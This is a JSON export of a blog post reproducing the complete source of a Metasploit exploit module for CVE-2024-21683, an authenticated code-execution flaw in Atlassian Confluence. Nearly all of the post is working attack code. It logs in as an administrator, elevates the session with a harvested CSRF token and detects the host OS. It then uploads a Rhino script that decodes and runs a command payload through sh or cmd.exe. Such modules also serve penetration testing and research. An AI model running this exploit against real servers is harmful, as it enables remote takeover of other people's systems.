{"id":58133,"date":"2024-07-11T18:09:56","date_gmt":"2024-07-11T15:09:56","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179507\/atlassian_confluence_rce_cve_2024_21683.rb.txt"},"modified":"2024-07-11T18:09:56","modified_gmt":"2024-07-11T15:09:56","slug":"atlassian-confluence-administrator-code-macro-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/atlassian-confluence-administrator-code-macro-remote-code-execution\/","title":{"rendered":"Atlassian Confluence Administrator Code Macro Remote Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>prepend Msf::Exploit::Remote::AutoCheck<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Atlassian Confluence Administrator Code Macro Remote Code Execution&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits an authenticated administrator-level vulnerability in Atlassian Confluence,<br \/>tracked as CVE-2024-21683. The vulnerability exists due to the Rhino script engine parser evaluating<br \/>tainted data from uploaded text files. This facilitates arbitrary code execution. This exploit will<br \/>authenticate, validate user privileges, extract the underlying host OS information, then trigger<br \/>remote code execution. All versions of Confluence prior to 7.17 are affected, as are many versions<br \/>up to 8.9.0.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Ankita Sawlani&#8217;, # Discovery<br \/>&#8216;Huong Kieu&#8217;, # Public Analysis<br \/>&#8216;W01fh4cker&#8217;, # PoC Exploit<br \/>&#8216;remmons-r7&#8217; # MSF Exploit<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2024-21683&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/jira.atlassian.com\/browse\/CONFSERVER-95832&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/realalphaman.substack.com\/p\/quick-note-about-cve-2024-21683-authenticated&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/W01fh4cker\/CVE-2024-21683-RCE&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-05-21&#8217;,<br \/>&#8216;Privileged&#8217; =&gt; false, # `NT AUTHORITY\\NETWORK SERVICE` on Windows by default, `confluence` on Linux by default.<br \/>&#8216;Platform&#8217; =&gt; [&#8216;unix&#8217;, &#8216;linux&#8217;, &#8216;win&#8217;],<br \/>&#8216;Arch&#8217; =&gt; [ARCH_CMD],<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;Targets&#8217; =&gt; [ [ &#8216;Default&#8217;, {} ] ],<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/># The access log files will contain requests to the exploitable administrator dashboard endpoints.<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS]}<br \/>)<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/># By default, Confluence serves an HTTP service on TCP port 8090.<br \/>Opt::RPORT(8090),<br \/>OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The URI path to Confluence&#8217;, &#8216;\/&#8217;]),<br \/>OptString.new(&#8216;ADMIN_USER&#8217;, [true, &#8216;The Confluence administrator username&#8217;, &#8221;]),<br \/>OptString.new(&#8216;ADMIN_PASS&#8217;, [true, &#8216;The Confluence administrator password&#8217;, &#8221;])<br \/>])<br \/>end<\/p>\n<p>def check<br \/># Begin by retrieving the version string from the login page.<br \/>version = get_confluence_version<br \/>return CheckCode::Unknown(&#8216;Failed to determine the Confluence version&#8217;) unless version<\/p>\n<p># Check the extracted version against all documented vulnerable versions.<br \/>if version == Rex::Version.new(&#8216;8.9.0&#8217;) ||<br \/>version.between?(Rex::Version.new(&#8216;8.8.0&#8217;), Rex::Version.new(&#8216;8.8.1&#8217;)) ||<br \/>version.between?(Rex::Version.new(&#8216;8.7.0&#8217;), Rex::Version.new(&#8216;8.7.2&#8217;)) ||<br \/>version.between?(Rex::Version.new(&#8216;8.6.0&#8217;), Rex::Version.new(&#8216;8.6.2&#8217;)) ||<br \/>version.between?(Rex::Version.new(&#8216;8.5.0&#8217;), Rex::Version.new(&#8216;8.5.8&#8217;)) ||<br \/>version.between?(Rex::Version.new(&#8216;8.4.0&#8217;), Rex::Version.new(&#8216;8.4.5&#8217;)) ||<br \/>version.between?(Rex::Version.new(&#8216;8.3.0&#8217;), Rex::Version.new(&#8216;8.3.4&#8217;)) ||<br \/>version.between?(Rex::Version.new(&#8216;8.2.0&#8217;), Rex::Version.new(&#8216;8.2.3&#8217;)) ||<br \/>version.between?(Rex::Version.new(&#8216;8.1.0&#8217;), Rex::Version.new(&#8216;8.1.4&#8217;)) ||<br \/>version.between?(Rex::Version.new(&#8216;8.0.0&#8217;), Rex::Version.new(&#8216;8.0.4&#8217;)) ||<br \/>version.between?(Rex::Version.new(&#8216;7.20.0&#8217;), Rex::Version.new(&#8216;7.20.3&#8217;)) ||<br \/>version.between?(Rex::Version.new(&#8216;7.19.0&#8217;), Rex::Version.new(&#8216;7.19.21&#8217;)) ||<br \/>version.between?(Rex::Version.new(&#8216;7.18.0&#8217;), Rex::Version.new(&#8216;7.18.3&#8217;)) ||<br \/>version.between?(Rex::Version.new(&#8216;7.17.0&#8217;), Rex::Version.new(&#8216;7.17.5&#8217;)) ||<br \/># According to Atlassian, all versions &lt; 7.17 are vulnerable.<br \/>version.between?(Rex::Version.new(&#8216;0.0.0&#8217;), Rex::Version.new(&#8216;7.16.999&#8217;))<br \/>Exploit::CheckCode::Appears(&#8220;Exploitable version of Confluence: #{version}&#8221;)<br \/>else<br \/>Exploit::CheckCode::Safe(&#8220;Non-exploitable version of Confluence: #{version}&#8221;)<br \/>end<br \/>end<\/p>\n<p>def login(username, password)<br \/># Perform a POST request to login to Confluence with the provided credentials.<br \/>send_request_cgi(<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;dologin.action&#8217;),<br \/>&#8216;keep_cookies&#8217; =&gt; &#8216;true&#8217;,<br \/>&#8216;vars_post&#8217; =&gt; {<br \/>&#8216;os_username&#8217; =&gt; username,<br \/>&#8216;os_password&#8217; =&gt; password,<br \/>&#8216;os_destination&#8217; =&gt; &#8216;%2FXsuccessX&#8217;<br \/>}<br \/>)<br \/>end<\/p>\n<p>def elevate<br \/># Elevates the current administrator session. By default, administrator sessions will remain elevated for two minutes after this takes place.<br \/>vprint_status(&#8216;Secure Administrator Sessions enabled &#8211; elevating session&#8217;)<\/p>\n<p># Grab a CSRF token from the elevation page form.<br \/>csrf_elevation = get_csrf(&#8216;doauthenticate.action&#8217;, &#8216;elevation&#8217;)<\/p>\n<p># With the valid elevation token, escalate the current administrator session.<br \/>res_elevate = send_request_cgi(<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;doauthenticate.action&#8217;),<br \/>&#8216;keep_cookies&#8217; =&gt; &#8216;true&#8217;,<br \/>&#8216;vars_post&#8217; =&gt; {<br \/>&#8216;atl_token&#8217; =&gt; csrf_elevation,<br \/>&#8216;password&#8217; =&gt; datastore[&#8216;ADMIN_PASS&#8217;],<br \/>&#8216;authenticate&#8217; =&gt; &#8216;Confirm&#8217;,<br \/>&#8216;destination&#8217; =&gt; &#8216;%2FXsuccessX&#8217;<br \/>}<br \/>)<\/p>\n<p># Connection failure, no response, or malformed response.<br \/>fail_with(Failure::Unknown, &#8216;Target did not respond as expected during privilege elevation&#8217;) unless res_elevate<\/p>\n<p># Confirm that the response indicates a successful elevation.<br \/>fail_with(Failure::UnexpectedReply, &#8216;The session elevation appears to have failed&#8217;) unless res_elevate.code == 302 &amp;&amp; res_elevate.headers[&#8216;Location&#8217;].include?(&#8216;XsuccessX&#8217;)<\/p>\n<p>vprint_status(&#8216;Administrator session has been elevated&#8217;)<br \/>end<\/p>\n<p>def get_csrf(page, operation)<br \/># Perform a GET request to the target page to grab a CSRF token.<br \/>res_get_csrf = send_request_cgi(<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;keep_cookies&#8217; =&gt; &#8216;true&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, page)<br \/>)<\/p>\n<p># Connection failure, no response, or malformed response.<br \/>fail_with(Failure::Unknown, &#8220;Target did not respond as expected when fetching #{operation} CSRF token&#8221;) unless res_get_csrf<\/p>\n<p># If the response is not 200 and does not contain the string &#8220;atl_token&#8221;, the target page has behaved unexpectedly.<br \/>fail_with(Failure::UnexpectedReply, &#8220;Target returned a response that did not contain #{operation} CSRF token&#8221;) unless res_get_csrf.code == 200 &amp;&amp; res_get_csrf.body.include?(&#8216;atl_token&#8217;)<\/p>\n<p># Response page should contain &#8216;&lt;input type=&#8221;hidden&#8221; name=&#8221;atl_token&#8221; value=&#8221;tokenhere&#8221;&gt;&#8217;.<br \/>csrf_token = res_get_csrf.get_xml_document.xpath(&#8216;\/\/input[@name=&#8221;atl_token&#8221;]&#8217;).first&amp;.values&amp;.[](2)<\/p>\n<p># Token should be 40 characters.<br \/>fail_with(Failure::UnexpectedReply, &#8220;Target did not return the expected 40-character #{operation} CSRF token&#8221;) unless csrf_token&amp;.length == 40<\/p>\n<p>vprint_status(&#8220;Grabbed #{operation} CSRF token: #{csrf_token}&#8221;)<\/p>\n<p>csrf_token<br \/>end<\/p>\n<p>def get_host_os<br \/># Elevated Confluence administrators can view system information, which will be used to confirm the target OS.<br \/>res_sysinfo = send_request_cgi(<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;keep_cookies&#8217; =&gt; &#8216;true&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;admin&#8217;, &#8216;systeminfo.action&#8217;)<br \/>)<\/p>\n<p># Connection failure, no response, or malformed response.<br \/>fail_with(Failure::Unknown, &#8216;Target did not respond as expected while getting host OS&#8217;) unless res_sysinfo<\/p>\n<p># Confirm that the response is the expected system info page.<br \/>fail_with(Failure::UnexpectedReply, &#8216;The system information page failed to return the expected data&#8217;) unless res_sysinfo.code == 200 &amp;&amp; res_sysinfo.body.include?(&#8216;operating.system&#8217;)<\/p>\n<p># Extract the OS string from the response DOM.<br \/>os = res_sysinfo.get_xml_document.xpath(&#8216;\/\/span[@id=&#8221;operating.system&#8221;]&#8217;).first&amp;.text<br \/>vprint_status(&#8220;Target returned the operating system string &#8216;#{os}'&#8221;)<\/p>\n<p># If the string begins with &#8220;win&#8221;, assume the host is Windows. If it&#8217;s anything else, assume it&#8217;s something Unix-based.<br \/>os.downcase.start_with?(&#8216;win&#8217;) ? &#8216;win&#8217; : &#8216;nix&#8217;<br \/>end<\/p>\n<p>def upload_payload(shell)<br \/># Grab a valid macro dashboard CSRF token.<br \/>csrf_macro = get_csrf(&#8216;\/admin\/plugins\/newcode\/configure.action&#8217;, &#8216;macro&#8217;)<\/p>\n<p># Initialize a multipart form.<br \/>payload_form = Rex::MIME::Message.new<\/p>\n<p># ProcessBuilder string &#8211; this will inject the sh\/cmd.exe sequence as the first two args and decode the base64 msf fetch payload as the third.<br \/>payload_string = &#8220;new java.lang.ProcessBuilder(#{shell}, new java.lang.String(java.util.Base64.getDecoder().decode(&#8216;#{Rex::Text.encode_base64(payload.encoded)}&#8217;))).start()&#8221;<\/p>\n<p># Add the CSRF token, payload file, and &#8216;newLanguageName&#8217; value. Both the &#8216;languageFile&#8217; name and the &#8216;newLanguageName&#8217; value can be any string.<br \/>payload_form.add_part(csrf_macro, &#8216;text\/plain&#8217;, &#8216;binary&#8217;, &#8216;form-data; name=&#8221;atl_token&#8221;&#8216;)<br \/>payload_form.add_part(payload_string, &#8216;text\/plain&#8217;, &#8216;binary&#8217;, &#8220;form-data; name=\\&#8221;languageFile\\&#8221;; filename=\\&#8221;#{rand_text_hex(10)}\\&#8221;&#8221;)<br \/>payload_form.add_part(rand_text_hex(10), &#8216;text\/plain&#8217;, &#8216;binary&#8217;, &#8216;form-data; name=&#8221;newLanguageName&#8221;&#8216;)<\/p>\n<p>vprint_status(&#8220;Crafted ProcessBuilder payload string: #{payload_string}&#8221;)<br \/>vprint_status(&#8216;Sending POST request to trigger code execution&#8217;)<\/p>\n<p># POST the multipart form for code execution. A neutral error will be returned in the web response, which we can ignore.<br \/>res_upload = send_request_cgi(<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;admin&#8217;, &#8216;plugins&#8217;, &#8216;newcode&#8217;, &#8216;addlanguage.action&#8217;),<br \/>&#8216;keep_cookies&#8217; =&gt; &#8216;true&#8217;,<br \/>&#8216;ctype&#8217; =&gt; &#8220;multipart\/form-data; boundary=#{payload_form.bound}&#8221;,<br \/>&#8216;data&#8217; =&gt; payload_form.to_s<br \/>)<\/p>\n<p># Connection failure, no response, or malformed response.<br \/>print_error(&#8216;Target did not respond as expected during code execution attempt&#8217;) unless res_upload<\/p>\n<p># If the response to the multipart request does not return a 200.<br \/>print_error(&#8216;The application returned a non-200 response during code execution attempt&#8217;) unless res_upload.code == 200<br \/>end<\/p>\n<p>def exploit<br \/># Authenticate to Confluence.<br \/>res_login = login(datastore[&#8216;ADMIN_USER&#8217;], datastore[&#8216;ADMIN_PASS&#8217;])<\/p>\n<p># Connection failure, no response, or malformed response.<br \/>fail_with(Failure::Unknown, &#8216;Target did not respond as expected during authentication&#8217;) unless res_login<\/p>\n<p># If authentication does not result in a redirect with the provided &#8220;XsuccessX&#8221; &#8216;Location&#8217; header value.<br \/>fail_with(Failure::BadConfig, &#8216;The target did not accept the provided credentials&#8217;) unless res_login.code == 302 &amp;&amp; res_login.headers[&#8216;Location&#8217;].include?(&#8216;XsuccessX&#8217;)<\/p>\n<p>vprint_status(&#8216;Successfully authenticated to Confluence&#8217;)<\/p>\n<p># Attempt to fetch a privileged page with the provided valid credentials to confirm the user is an administrator.<br \/>res_check_admin = send_request_cgi(<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;keep_cookies&#8217; =&gt; &#8216;true&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;admin&#8217;, &#8216;console.action&#8217;)<br \/>)<\/p>\n<p># Connection failure, no response, or malformed response.<br \/>fail_with(Failure::Unknown, &#8216;Target did not respond as expected during privilege check&#8217;) unless res_check_admin<\/p>\n<p># If a &#8216;Location&#8217; header is returned in the response, the current session doesn&#8217;t have full privileges.<br \/>if res_check_admin.headers[&#8216;Location&#8217;]\n<p># Confluence will redirect to the login page if the current user does not have admin privileges, so check for that here.<br \/>if res_check_admin.headers[&#8216;Location&#8217;].include?(&#8216;login.action&#8217;)<br \/>fail_with(Failure::BadConfig, &#8216;The provided credentials are valid, but the user does not have administrative privileges&#8217;)<br \/>end<\/p>\n<p>vprint_status(&#8216;The provided user is an administrator&#8217;)<\/p>\n<p># Check whether Secure Administrator Sessions feature (sudo-like elevation prompt) is enabled. This feature is default on newer versions.<br \/>if res_check_admin.headers[&#8216;Location&#8217;].include?(&#8216;authenticate.action&#8217;)<br \/>elevate<br \/>end<\/p>\n<p># User is an administrator and Secure Administrator Sessions is disabled.<br \/>else<br \/>vprint_status(&#8216;The provided user is an administrator&#8217;)<br \/>end<\/p>\n<p># As an administrator, check the host OS for selection between sh\/cmd.exe in payload<br \/>shell = get_host_os == &#8216;win&#8217; ? &#8216;&#8221;cmd.exe&#8221;, &#8220;\/c&#8221;&#8216; : &#8216;&#8221;\/bin\/sh&#8221;, &#8220;-c&#8221;&#8216;<\/p>\n<p># Upload a text file containing a payload to be evaluated by the script engine<br \/>upload_payload(shell)<br \/>end<\/p>\n<p>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheckinclude Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Atlassian Confluence Administrator Code Macro Remote Code Execution&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits an authenticated administrator-level vulnerability in Atlassian Confluence,tracked as CVE-2024-21683. The vulnerability exists due to the Rhino script engine parser &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58133","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58133","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58133"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58133\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58133"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58133"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58133"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}